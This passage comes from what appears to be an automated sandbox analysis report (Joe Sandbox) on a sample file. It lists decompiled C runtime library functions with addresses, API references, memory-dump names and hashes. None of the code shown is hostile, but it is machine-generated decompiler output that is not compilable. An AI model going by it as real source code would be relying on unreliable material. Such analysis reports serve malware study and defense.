						 *(E004157B1(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x425278);
						E00414CEC(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E004157B1(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E00414D31(E00412424(_t23, _t24, _t25));
					}
				}
			}

0x00410993
0x0041099d
0x004109a4
0x004109c3
0x004109ca
0x004109d1
0x004109d6
0x004109d6
0x004109d6
0x00000000
0x004109a6
0x004109a6
0x004109ab
0x004109d8
0x004109d8
0x004109db
0x004109ad
0x004109b2
0x00415a87
0x00415a89
0x00415a8e
0x00415a98
0x00415a9d
0x00415a9f
0x00415aa3
0x00415aae
0x00415aae
0x00415abf
0x00415abf
0x004109ab

APIs

__getptd.LIBCMT ref: 004109AD

Part of subcall function 004157B1: __getptd_noexit.LIBCMT ref: 004157B4
Part of subcall function 004157B1: __amsg_exit.LIBCMT ref: 004157C1

__getptd.LIBCMT ref: 004109BE
__getptd.LIBCMT ref: 004109CC

Strings

csm, xrefs: 004109A6
MOC, xrefs: 0041099F

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: 09fc3533441b12365100a05e68591c6e7245b0827d8ccbf939a751e78f2eb2a4
Instruction ID: e3bfad8ffc42559a4cb75f26fc74df16382ae6bfb484d6cb1d10f960cd87e09e
Opcode Fuzzy Hash: 09fc3533441b12365100a05e68591c6e7245b0827d8ccbf939a751e78f2eb2a4
Instruction Fuzzy Hash: 73E01A75150604CFD710AA69D086BEA36A4AF85318F2501A7A40CCB363D77CD8D0964A

Uniqueness

Uniqueness Score: -1.00%

Function 004184B5 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E004184B5(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x425418);
				E00414CEC(__ebx, __edi, __esi);
				_t31 = E004157B1(__ebx, __edx, __edi, _t35);
				_t15 =  *0x44a100; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E004141F4(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x44a008; // 0x2361608
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x449be0;
								if(__eflags != 0) {
									_push(_t33);
									E0040F9A2(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x44a008; // 0x2361608
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x44a008; // 0x2361608
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00418550();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00414F3C(_t29, _t31, 0x20);
				}
				return E00414D31(_t33);
			}

0x004184b5
0x004184b5
0x004184b5
0x004184b5
0x004184b7
0x004184bc
0x004184c6
0x004184c8
0x004184d0
0x004184f1
0x004184f7
0x004184fb
0x004184fe
0x00418501
0x00418507
0x00418509
0x0041850b
0x0041850e
0x00418514
0x00418516
0x00418518
0x0041851e
0x00418520
0x00418521
0x00418526
0x0041851e
0x00418516
0x00418527
0x0041852c
0x0041852f
0x00418535
0x00418539
0x00418539
0x0041853f
0x00418546
0x004184d8
0x004184d8
0x004184d8
0x004184dd
0x004184e1
0x004184e6
0x004184ee

APIs

__getptd.LIBCMT ref: 004184C1

Part of subcall function 004157B1: __getptd_noexit.LIBCMT ref: 004157B4
Part of subcall function 004157B1: __amsg_exit.LIBCMT ref: 004157C1

__amsg_exit.LIBCMT ref: 004184E1
__lock.LIBCMT ref: 004184F1
InterlockedDecrement.KERNEL32(?), ref: 0041850E
InterlockedIncrement.KERNEL32(02361608), ref: 00418539

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 2e4ed6bfe0058c0324b3ee65d7af64ab3d1c9b1ee7854cd8cc7359569346cac9
Instruction ID: ac979ecbe096cbcaff42ea0b5cc952945c7bb77ab796e755856aa662f810c69b
Opcode Fuzzy Hash: 2e4ed6bfe0058c0324b3ee65d7af64ab3d1c9b1ee7854cd8cc7359569346cac9
Instruction Fuzzy Hash: AF01AD31A01622ABDB20AB6AA8057DE73A0BB00724F14402FE80467780DF3C69D5CBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00403120 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00403120(intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				int _v8;
				int _v12;
				char _v40;
				char* _t22;
				short* _t27;
				char* _t28;

				_v8 = E00409760(_a8) + 1;
				_t22 = E00409740(_a8);
				asm("sbb ecx, ecx");
				_v12 = MultiByteToWideChar( ~(_a12 & 0x000000ff) & 0x0000fde9, 0, _t22, _v8, 0, 0);
				E00409780( &_v40);
				E00409830( &_v40, _v12);
				_t27 = E00409810( &_v40);
				_t28 = E00409740(_a8);
				asm("sbb edx, edx");
				MultiByteToWideChar( ~(_a12 & 0x000000ff) & 0x0000fde9, 0, _t28, _v8, _t27, _v12);
				E004097B0(_a4,  &_v40);
				E004097F0( &_v40);
				return _a4;
			}

0x00403131
0x0040313f
0x0040314d
0x0040315c
0x00403162
0x0040316e
0x0040317a
0x00403187
0x00403195
0x0040319e
0x004031ab
0x004031b3
0x004031be

APIs

MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,00000000), ref: 00403156
std::ios_base::clear.LIBCPMTD ref: 0040316E
MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,?,?), ref: 0040319E

Part of subcall function 004097B0: _DebugHeapAllocator.LIBCPMTD ref: 004097BE

Strings

pYqtMqtNqtPeqt, xrefs: 00403156, 0040319E

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocatorDebugHeapstd::ios_base::clear
String ID: pYqtMqtNqtPeqt
API String ID: 1259383215-4161725857
Opcode ID: 377aecf85c95863400026de3e72e3ba3df65ecaf1a0fb8a212a2b719ff2bc004
Instruction ID: 7b51d3cf5aa31b96d789b5d2e642a5fd2358ddd4f06337ae01e83211047f611c
Opcode Fuzzy Hash: 377aecf85c95863400026de3e72e3ba3df65ecaf1a0fb8a212a2b719ff2bc004
Instruction Fuzzy Hash: 3B111276510108ABCB04EFA5CCA2FEE77B9AB44304F10816AF906B71C2DA35AE00C764

Uniqueness

Uniqueness Score: -1.00%

Function 0040CCFE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 79%

			E0040CCFE(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t27;
				intOrPtr* _t33;
				void* _t34;

				_push(0x44);
				E0040FA3F(E0041F3C2, __ebx, __edi, __esi);
				E004096E0(_t34 - 0x28, "invalid string position");
				 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
				_t27 = _t34 - 0x50;
				E0040CC77(_t27, _t34 - 0x28);
				E0040DC1C(_t34 - 0x50, 0x424dac);
				asm("int3");
				_push(4);
				E0040FA3F(E0041F39F, __ebx, __edi, __esi);
				_t33 = _t27;
				 *((intOrPtr*)(_t34 - 0x10)) = _t33;
				_t30 =  *((intOrPtr*)(_t34 + 8));
				E0040DD3A(_t27,  *((intOrPtr*)(_t34 + 8)));
				 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
				 *_t33 = 0x421f58;
				E0040AC00(__ebx, _t33 + 0xc, _t30 + 0xc, _t33, _t30 + 0xc);
				return E0040FADE(_t33);
			}

0x0040ccfe
0x0040cd05
0x0040cd12
0x0040cd17
0x0040cd1f
0x0040cd22
0x0040cd30
0x0040cd35
0x0040cd36
0x0040cd3d
0x0040cd42
0x0040cd44
0x0040cd47
0x0040cd4b
0x0040cd50
0x0040cd5b
0x0040cd61
0x0040cd6d

APIs

__EH_prolog3.LIBCMT ref: 0040CD05
std::bad_exception::bad_exception.LIBCMT ref: 0040CD22

Part of subcall function 0040CC77: std::runtime_error::runtime_error.LIBCPMT ref: 0040CC82

__CxxThrowException@8.LIBCMT ref: 0040CD30

Part of subcall function 0040DC1C: RaiseException.KERNEL32(?,?,0040F547,0040B273,?,?,?,?,0040F547,0040B273,00424AA4,0044AC3C,0040B273,00000000,00000000), ref: 0040DC5E

Strings

invalid string position, xrefs: 0040CD0A

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrowstd::bad_exception::bad_exceptionstd::runtime_error::runtime_error
String ID: invalid string position
API String ID: 3299838469-1799206989
Opcode ID: 7871a13917b42e7e871ca06e529f8593622120e85da7c6acb8bf9caa333b8030
Instruction ID: 805b400bbc6b30296058079cad60b1ece40b45e95f1981115de8456312060ae1
Opcode Fuzzy Hash: 7871a13917b42e7e871ca06e529f8593622120e85da7c6acb8bf9caa333b8030
Instruction Fuzzy Hash: 60D01271A5011C9ADB04E7E1CD46FDDB378AB14714F50043BB204760C1DBFC5949C718

Uniqueness

Uniqueness Score: -1.00%

Function 0040C12C Relevance: 6.2, APIs: 4, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040C12C(void* __ebx, signed int __ecx, void* __edx, signed int __edi, void* __esi, void* __eflags) {
				signed int _t52;
				void* _t54;
				void* _t58;
				intOrPtr _t61;
				signed int _t67;
				void* _t106;
				void* _t130;

				_t123 = __edi;
				_t122 = __edx;
				_t95 = __ebx;
				_push(0x58);
				E0040FAA8(E0041F237, __ebx, __edi, __esi);
				_t129 = __ecx;
				if( *( *(__ecx + 0x20)) == 0 ||  *( *(__ecx + 0x20)) >=  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x30)))) +  *( *(__ecx + 0x20))) {
					_t52 =  *(_t129 + 0x4c);
					__eflags = _t52;
					if(_t52 != 0) {
						__eflags =  *(_t129 + 0x3c);
						if(__eflags != 0) {
							E004096B0(_t130 - 0x2c);
							 *(_t130 - 4) =  *(_t130 - 4) & 0x00000000;
							while(1) {
								_push( *(_t129 + 0x4c));
								_t54 = E0040FB01(_t95, _t122, _t123, _t129, __eflags);
								__eflags = _t54 - 0xffffffff;
								if(_t54 == 0xffffffff) {
									break;
								}
								E0040C099(_t54, _t130 - 0x2c, _t129, 1, _t54);
								_t58 = E0040B78D(E0040BFC0(_t130 - 0x2c, _t130 - 0x44));
								_t95 = _t58;
								_t61 = E0040B78D(E0040BFC0(_t130 - 0x2c, _t130 - 0x64));
								_t122 =  *( *(_t129 + 0x3c));
								 *((intOrPtr*)(_t130 - 0x38)) = _t61;
								_t123 =  *((intOrPtr*)(_t130 - 0x18)) + _t58;
								_t67 =  *((intOrPtr*)( *( *(_t129 + 0x3c)) + 0x10))(_t129 + 0x44,  *((intOrPtr*)(_t130 - 0x38)),  *((intOrPtr*)(_t130 - 0x18)) + _t58, _t130 - 0x34, _t130 - 0x2d, _t130 - 0x2c, _t130 - 0x3c);
								__eflags = _t67;
								if(_t67 < 0) {
									break;
								} else {
									_t123 = 1;
									__eflags = _t67 - 1;
									if(_t67 <= 1) {
										_t106 = _t130 - 0x2c;
										__eflags =  *((intOrPtr*)(_t130 - 0x3c)) - _t130 - 0x2d;
										if( *((intOrPtr*)(_t130 - 0x3c)) != _t130 - 0x2d) {
											_t123 =  *((intOrPtr*)(_t130 - 0x18)) -  *((intOrPtr*)(_t130 - 0x34)) + E0040B78D(E0040BFC0(_t106, _t130 - 0x54));
											while(1) {
												__eflags = _t123;
												if(_t123 <= 0) {
													goto L23;
												}
												_push( *(_t129 + 0x4c));
												_t123 = _t123 - 1;
												__eflags = _t123;
												_push( *((char*)(_t123 +  *((intOrPtr*)(_t130 - 0x34)))));
												E0040FE02(_t95, _t122, _t123, _t129, _t123);
											}
											goto L23;
										} else {
											__eflags =  *((intOrPtr*)(_t130 - 0x34)) - E0040B78D(E0040BFC0(_t106, _t130 - 0x5c));
											E00409C80(_t95, _t130 - 0x2c, 1, _t129, 0,  *((intOrPtr*)(_t130 - 0x34)) - E0040B78D(E0040BFC0(_t106, _t130 - 0x5c)));
											continue;
										}
									} else {
										__eflags = _t67 - 3;
										if(_t67 != 3) {
											break;
										} else {
											__eflags =  *((intOrPtr*)(_t130 - 0x18)) - 1;
											if(__eflags < 0) {
												continue;
											} else {
												E0040F548(_t95, _t83, _t122, _t130 - 0x2d, 1, E0040B78D(E0040BFC0(_t130 - 0x2c, _t130 - 0x4c)), 1);
												L23:
												_t129 =  *(_t130 - 0x2d) & 0x000000ff;
											}
										}
									}
								}
								L19:
								E004098A0(_t130 - 0x2c, 1, 0);
								goto L3;
							}
							__eflags = _t129;
							goto L19;
						} else {
							_t52 = E0040BDA8(__eflags, _t130 - 0x2d, _t52);
							__eflags = _t52;
							if(_t52 == 0) {
								goto L5;
							} else {
							}
						}
					} else {
						L5:
					}
				} else {
					 *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x30)))) =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x30)))) - 1;
					_t129 =  *(__ecx + 0x20);
					 *( *(__ecx + 0x20)) =  *( *(__ecx + 0x20)) + 1;
				}
				L3:
				return E0040FAF2(_t95, _t123, _t129);
			}

0x0040c12c
0x0040c12c
0x0040c12c
0x0040c12c
0x0040c133
0x0040c138
0x0040c141
0x0040c16b
0x0040c16e
0x0040c170
0x0040c177
0x0040c17b
0x0040c196
0x0040c19b
0x0040c266
0x0040c266
0x0040c269
0x0040c26f
0x0040c272
0x00000000
0x00000000
0x0040c1aa
0x0040c1bd
0x0040c1c5
0x0040c1d5
0x0040c1dd
0x0040c1df
0x0040c1f2
0x0040c1fc
0x0040c1ff
0x0040c201
0x00000000
0x0040c203
0x0040c205
0x0040c206
0x0040c208
0x0040c23e
0x0040c241
0x0040c244
0x0040c2a4
0x0040c2bb
0x0040c2bb
0x0040c2bd
0x00000000
0x00000000
0x0040c2ab
0x0040c2ae
0x0040c2ae
0x0040c2b3
0x0040c2b4
0x0040c2ba
0x00000000
0x0040c246
0x0040c259
0x0040c261
0x00000000
0x0040c261
0x0040c20a
0x0040c20a
0x0040c20d
0x00000000
0x0040c20f
0x0040c20f
0x0040c212
0x00000000
0x0040c214
0x0040c22e
0x0040c2bf
0x0040c2bf
0x0040c2bf
0x0040c212
0x0040c20d
0x0040c208
0x0040c27b
0x0040c282
0x00000000
0x0040c287
0x0040c278
0x00000000
0x0040c17d
0x0040c182
0x0040c189
0x0040c18b
0x00000000
0x0040c18d
0x0040c18d
0x0040c18b
0x0040c172
0x0040c172
0x0040c172
0x0040c153
0x0040c156
0x0040c158
0x0040c160
0x0040c162
0x0040c165
0x0040c16a

APIs

__EH_prolog3_GS.LIBCMT ref: 0040C133
_fgetc.LIBCMT ref: 0040C269

Part of subcall function 0040C099: std::_String_base::_Xlen.LIBCPMT ref: 0040C0AF

_memcpy_s.LIBCMT ref: 0040C22E
_ungetc.LIBCMT ref: 0040C2B4

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: H_prolog3_String_base::_Xlen_fgetc_memcpy_s_ungetcstd::_
String ID:
API String ID: 9762108-0
Opcode ID: 191aee4775dcad37e06233d4c4645ba4805ab1c366cc0dc1438c2a240f3860df
Instruction ID: f911bd91e9c8046947a51014055f1c6f4cf73385d2a72750456edfabce77d480
Opcode Fuzzy Hash: 191aee4775dcad37e06233d4c4645ba4805ab1c366cc0dc1438c2a240f3860df
Instruction Fuzzy Hash: CA516071D00608DBCB24DBF5C8919EEB3B9AF49314B10463FE452F76D1EB38A9458B98

Uniqueness

Uniqueness Score: -1.00%

Function 00410158 Relevance: 6.1, APIs: 4, Instructions: 137
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E00410158(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E00416D95(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E00416D63(_t90, _t98, _t100));
										_t74 = E00417675(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040FE74(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E00411FE0(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0041546A(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040F961(_t90, 0, _t100);
					goto L4;
				}
			}

0x00410158
0x00410168
0x0041018e
0x00000000
0x0041016f
0x0041016f
0x00410172
0x00410174
0x00410195
0x00410198
0x0041019a
0x00000000
0x00000000
0x0041019c
0x004101a1
0x004101a4
0x004101a7
0x00000000
0x00000000
0x004101ac
0x004101b0
0x004101b7
0x004101ba
0x004101bd
0x004101bf
0x004101c9
0x004101c1
0x004101c4
0x004101c4
0x004101d0
0x004101d2
0x00410297
0x00000000
0x004101d8
0x004101d8
0x004101db
0x004101db
0x004101e1
0x00410212
0x00410212
0x00410215
0x0041026e
0x00410275
0x00410278
0x004102a3
0x004102a3
0x004102a5
0x00000000
0x004102a9
0x0041027a
0x0041027d
0x00410280
0x00410281
0x00410284
0x00410286
0x00410288
0x00410288
0x00000000
0x00410286
0x00410217
0x00410219
0x00410226
0x00410226
0x0041022a
0x0041022c
0x00410230
0x00410232
0x00410235
0x00410235
0x00410235
0x00410237
0x00410238
0x00410242
0x00410243
0x00410248
0x0041024b
0x0041024e
0x004102b1
0x004102b1
0x004102b5
0x00000000
0x00410250
0x00410250
0x00410252
0x00410254
0x00410256
0x00410256
0x00410258
0x0041025b
0x0041025d
0x0041025f
0x00000000
0x00410261
0x00410261
0x00410261
0x00000000
0x00410261
0x0041025f
0x0041024e
0x0041021c
0x00410222
0x00410224
0x00000000
0x00000000
0x00000000
0x00410224
0x004101e3
0x004101e6
0x004101e8
0x00000000
0x00000000
0x004101ea
0x0041029f
0x0041029f
0x0041029f
0x00000000
0x0041029f
0x004101f0
0x004101f2
0x004101f4
0x004101f6
0x004101f6
0x004101fe
0x00410203
0x00410206
0x00410208
0x0041020b
0x0041020d
0x00000000
0x0041028f
0x0041028f
0x0041028f
0x00000000
0x004101d8
0x004101d2
0x00410176
0x00410176
0x0041017b
0x0041017c
0x0041017d
0x0041017e
0x0041017f
0x00410180
0x00410186
0x00000000
0x0041018b

APIs

__flush.LIBCMT ref: 0041021C
__fileno.LIBCMT ref: 0041023C
__locking.LIBCMT ref: 00410243
__flsbuf.LIBCMT ref: 0041026E

Part of subcall function 0041546A: __getptd_noexit.LIBCMT ref: 0041546A

Part of subcall function 0040F961: __decode_pointer.LIBCMT ref: 0040F96C

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: 8acd8b8f2dcedb5259a54d903b37d0218332b9b3d44a7bfc9b1b182c3108107f
Instruction ID: cceb482b335af9ee3bcfff1d602948455a00625cca0b06d2c162aafb696513fd
Opcode Fuzzy Hash: 8acd8b8f2dcedb5259a54d903b37d0218332b9b3d44a7bfc9b1b182c3108107f
Instruction Fuzzy Hash: A941C731A00604EBDB249FA588485DFB7B6AF80360F24856FE81597650D7F9DEC18B48

Uniqueness

Uniqueness Score: -1.00%

Function 00413F1A Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00413F1A(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E0041380B(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E004138FB(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00413E20(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413D65(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00413f1f
0x00413f25
0x00413f98
0x00000000
0x00413f2c
0x00413f2c
0x00413f2f
0x00413f4a
0x00413f4d
0x00413f6d
0x00413f7f
0x00413f4f
0x00413f4f
0x00413f52
0x00000000
0x00413f54
0x00413f66
0x00413f66
0x00413f52
0x00413f9d
0x00413fa1
0x00413f31
0x00413f49
0x00413f49
0x00413f2f

APIs

__cftof_l.LIBCMT ref: 00413F40

Part of subcall function 00413D65: __fltout2.LIBCMT ref: 00413D91

__cftog_l.LIBCMT ref: 00413F66
__cftoe_l.LIBCMT ref: 00413F98

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
